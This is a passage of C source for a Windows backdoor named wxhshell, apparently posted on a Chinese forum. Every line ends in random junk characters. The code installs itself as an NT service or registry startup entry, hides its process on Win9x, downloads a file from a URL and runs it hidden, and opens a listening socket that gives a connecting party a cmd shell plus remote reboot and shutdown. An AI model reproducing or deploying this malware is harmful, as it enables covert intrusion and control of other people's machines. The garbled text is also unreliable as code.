  // 帮助 :;Lt~:0b~  
  case '?': { CbvP1*1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [Lck55V+Q  
    break; xq6 eu 9   
  } &a;{ed1B  
  // 安装 !,Ou:E?Bb  
  case 'i': { uDtml$9rN  
    if(Install()) Vd+qi~kA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l*r8.qp  
    else :B^YK].  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X;e=d+pw  
    break; _f5>r(1Q  
    } 7aF'E1e'3  
  // 卸载 ZmLA4<  
  case 'r': { pZE}<EX  
    if(Uninstall()) QN4{xf:}S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BlLK6"gJT  
    else .uh>S!X, ]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fL^$G;_?3  
    break; !.2tv  
    } =3h?!$#?  
  // 显示 wxhshell 所在路径 DOaTp f  
  case 'p': { ^}w@&Bje  
    char svExeFile[MAX_PATH]; %bN+Y'  
    strcpy(svExeFile,"\n\r"); :d AC:h  
      strcat(svExeFile,ExeFile); }3825  
        send(wsh,svExeFile,strlen(svExeFile),0); "[wkjNf%  
    break; DpRGPs  
    } 5T*Uq>x0  
  // 重启 OLH[F  
  case 'b': { W u C2 LM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8O[br@h:5  
    if(Boot(REBOOT)) Wg!<V6}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MG}rvzn@  
    else { }1xD*[W  
    closesocket(wsh); Cs!z3QU  
    ExitThread(0); w"Q/ 6#!K  
    } 1"\^@qRv#  
    break; !:]/MpQ ?  
    } +YJpVxYmZ  
  // 关机 HXeX !  
  case 'd': { +g9C klJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Exb?eHO  
    if(Boot(SHUTDOWN)) ym_w09   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); La2f]+sV  
    else { qjm6\ii:)  
    closesocket(wsh); V}Ok>6(~  
    ExitThread(0); U/#X,Bi~  
    } +vr|J:  
    break; gAudL)X  
    } ^)nIf)9}7  
  // 获取shell *'-[J2  
  case 's': { We`6# \Z X  
    CmdShell(wsh); YigDrW  
    closesocket(wsh); E%b*MU  
    ExitThread(0); wbpz,  
    break; W>_K+: t  
  } 9#>t% IF~  
  // 退出 MaS-*;BY,  
  case 'x': { 6"oG bte  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <eh<4_<qF  
    CloseIt(wsh); eqY8;/  
    break; 0Yk$f1g  
    } @oNYMQ@)d  
  // 离开 T5_/*`F  
  case 'q': { mgd)wZNV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z1~`S!(}  
    closesocket(wsh); _'mK=`>u  
    WSACleanup(); EXbaijHQG  
    exit(1); : GdLr  
    break; 9Ro7xSeD  
        } 9 df GV!Z  
  } gq7l>vT.  
  } ;u?L>(b  
A4tb>O M  
  // 提示信息 oazY?E]}3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'Q dDXw5o  
} ii5dTimRJ  
  } B9: i.rQ  
0woLB#v9  
  return; pwg\b  
} ]<BT+6L  
8b[<:{[YB  
// shell模块句柄 Ods~tM  
int CmdShell(SOCKET sock) c }7gHud  
{ YXLZ2-%ohZ  
STARTUPINFO si; `yYYyB[  
ZeroMemory(&si,sizeof(si)); @@3%lr71   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w }=LC#le  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mhgvN-? "h  
PROCESS_INFORMATION ProcessInfo; S }3?  
char cmdline[]="cmd"; c6Z"6-}$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xUF5  
  return 0; B!x7oD9  
} B%I<6E[D  
z7s}-w,  
// 自身启动模式 veAdk9  
int StartFromService(void) Eh+m|A  
{ [{q])P;  
typedef struct tiPZ.a~k  
{ {U)q)  
  DWORD ExitStatus; yIu_DFq%  
  DWORD PebBaseAddress; a_ \t(U  
  DWORD AffinityMask; O?f?{Jsx  
  DWORD BasePriority; 7S{yKS  
  ULONG UniqueProcessId; pS~=T}o  
  ULONG InheritedFromUniqueProcessId; 2AXf'IOqE  
}   PROCESS_BASIC_INFORMATION; ':7gYP*v  
Y~B-dx'V  
PROCNTQSIP NtQueryInformationProcess; d$HPpi1LL  
ATF>"Ux  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w\1K.j=>|N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lNo]]a+_  
K*P:FCz  
  HANDLE             hProcess; )@],0yL  
  PROCESS_BASIC_INFORMATION pbi; f<;eNN  
sdBB(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8^pu C  
  if(NULL == hInst ) return 0; 2f5YkmGc";  
f&I5bPS7}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 48)D%867.;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y[';@t7CC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .|i/ a%J  
ig^x%!;  
  if (!NtQueryInformationProcess) return 0; ! JauMR  
Zg3 /,:1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  ^+wA,r.  
  if(!hProcess) return 0; {ceY:49  
mq+x=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hz+c]K  
Z=be ki]  
  CloseHandle(hProcess); =J`M}BBx  
`h~-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *{(tg~2'(  
if(hProcess==NULL) return 0; `Krk<G  
y=2nV  
HMODULE hMod; bh+m_$X~  
char procName[255]; pB0 SCS*  
unsigned long cbNeeded; OCu/w1 bc  
g f<vQb|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C$d b) 5-  
1fTf+P  
  CloseHandle(hProcess); ;NF:98  
K}vYE7n:  
if(strstr(procName,"services")) return 1; // 以服务启动 4t 0p!IxG  
M9.FtQhK/  
  return 0; // 注册表启动 i,mZg+;w  
} Uka(Vr:  
sn8l3h)  
// 主模块 GC[Ot~*_  
int StartWxhshell(LPSTR lpCmdLine) &hJQHlyJM0  
{ _q}^#-  
  SOCKET wsl; K.Y.K$NjP{  
BOOL val=TRUE; ]4B&8n!  
  int port=0; ),lE8A{ H  
  struct sockaddr_in door; A&{eC C  
x$z>.4  
  if(wscfg.ws_autoins) Install(); 'u9y\vUy  
$mxl&Qr>Q;  
port=atoi(lpCmdLine); $ncP#6  
_FCg5F2U  
if(port<=0) port=wscfg.ws_port; ~En]sj  
~ E n'X4  
  WSADATA data; U2 Cmf  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,MUgww!.  
!`dMTW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I7+yu>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Nv=&gOy=  
  door.sin_family = AF_INET; 7w}]9wCN?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Pk&$ #J_  
  door.sin_port = htons(port); jEm =A8q  
juQ?k xOB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yJdkDVxYr  
closesocket(wsl); h7PIF*7m e  
return 1; >$7{H]  
} ,WE2MAjhT  
P:UR:y([  
  if(listen(wsl,2) == INVALID_SOCKET) { x,c\q$8yH  
closesocket(wsl); _opB,,G  
return 1; $49;\pBZl  
} 7 b{y  
  Wxhshell(wsl); XdE|7=+s  
  WSACleanup(); s0'6r$xj  
SP4(yJy&  
return 0; t\O#5mo  
SmV}Wf  
} 'jYKfq~_cJ  
nq\~`vH|Gd  
// 以NT服务方式启动 xu@+b~C\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vBV_aB1{  
{ Ah;`0Hz;  
DWORD   status = 0; X.AE>fx*h  
  DWORD   specificError = 0xfffffff; x??H%'rP  
~BgNM O;|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \^dYmU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0U! _o2]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; TVK*l*  
  serviceStatus.dwWin32ExitCode     = 0; > 0c g  
  serviceStatus.dwServiceSpecificExitCode = 0; ]Aj5 K  
  serviceStatus.dwCheckPoint       = 0; ,7;euV5X  
  serviceStatus.dwWaitHint       = 0; Wf =hFc1_@  
}^`5$HEi  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); EJ(z]M`f  
  if (hServiceStatusHandle==0) return; #<vzQ\~Y  
OpmPw4?}  
status = GetLastError(); OG^#e+  
  if (status!=NO_ERROR) 1 0tt':  
{ = cI> {  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [x0*x~1B  
    serviceStatus.dwCheckPoint       = 0; w}U'>fj  
    serviceStatus.dwWaitHint       = 0; o97*3W]  
    serviceStatus.dwWin32ExitCode     = status; &H%z1Lp  
    serviceStatus.dwServiceSpecificExitCode = specificError; )Ut9k  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .#LHj}u  
    return; A",R2d  
  } Ci?RuZ"  
TlC? ?#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5:T}C@  
  serviceStatus.dwCheckPoint       = 0; GK{~n  
  serviceStatus.dwWaitHint       = 0; foe)_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `~1#X  
} *LQt=~  
e09QaY  
// 处理NT服务事件,比如:启动、停止 "sed{?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X\5EF7:S  
{ !(sL  
switch(fdwControl) G;]zX<2^3  
{ .K+5k`kd  
case SERVICE_CONTROL_STOP: *rC%nmJwk!  
  serviceStatus.dwWin32ExitCode = 0; 7=HpEc  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; BX2}ar  
  serviceStatus.dwCheckPoint   = 0; FLQ^J3A,I  
  serviceStatus.dwWaitHint     = 0; _r`(P#Hy  
  { NZ- 57Ji  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); } A}Vd:#  
  } iThf\  
  return; |9mGX9q  
case SERVICE_CONTROL_PAUSE: C^!~WFy  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k>#-NPU$  
  break; u+ 8wBb5!  
case SERVICE_CONTROL_CONTINUE: oP:/%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Lt {&v ^y  
  break; uf`/-jY  
case SERVICE_CONTROL_INTERROGATE: wpOM~!9R  
  break; @"afEMd  
}; Hqb-)8 ~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B] PG  
} y7LM}dH#m  
LHs^Xo18  
// 标准应用程序主函数 _ !k\~4U  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )_K:A(V>  
{ X`7O%HiX/`  
J74kK#uF=  
// 获取操作系统版本 R".*dC,0'B  
OsIsNt=GetOsVer(); [k=LX+w@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,9W!cD+0  
.19_EQ>+  
  // 从命令行安装 =!=DISPo  
  if(strpbrk(lpCmdLine,"iI")) Install(); D;Y2yc[v  
hmv*IF.  
  // 下载执行文件 D\  P-|}  
if(wscfg.ws_downexe) {  sM9NHwg  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W1[C/dDc  
  WinExec(wscfg.ws_filenam,SW_HIDE); sX(rJLbD  
} *!,k`=.([#  
@XH@i+ {B  
if(!OsIsNt) { (!T\[6  
// 如果时win9x,隐藏进程并且设置为注册表启动 !uhh_3RH  
HideProc(); &izk$~  
StartWxhshell(lpCmdLine); p9eTrFDy?  
} nu6v@<<F>  
else [-1Yyy1}  
  if(StartFromService()) /re0"!0y  
  // 以服务方式启动 Jg@eGs\*  
  StartServiceCtrlDispatcher(DispatchTable); Suk;##I  
else v#9Uy}NJ9  
  // 普通方式启动 E\VKlu4  
  StartWxhshell(lpCmdLine); vcSb:('  
M"8?XD%  
return 0; / 16 r_l  
}
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只看该作者 1 发表于: 2006-10-10
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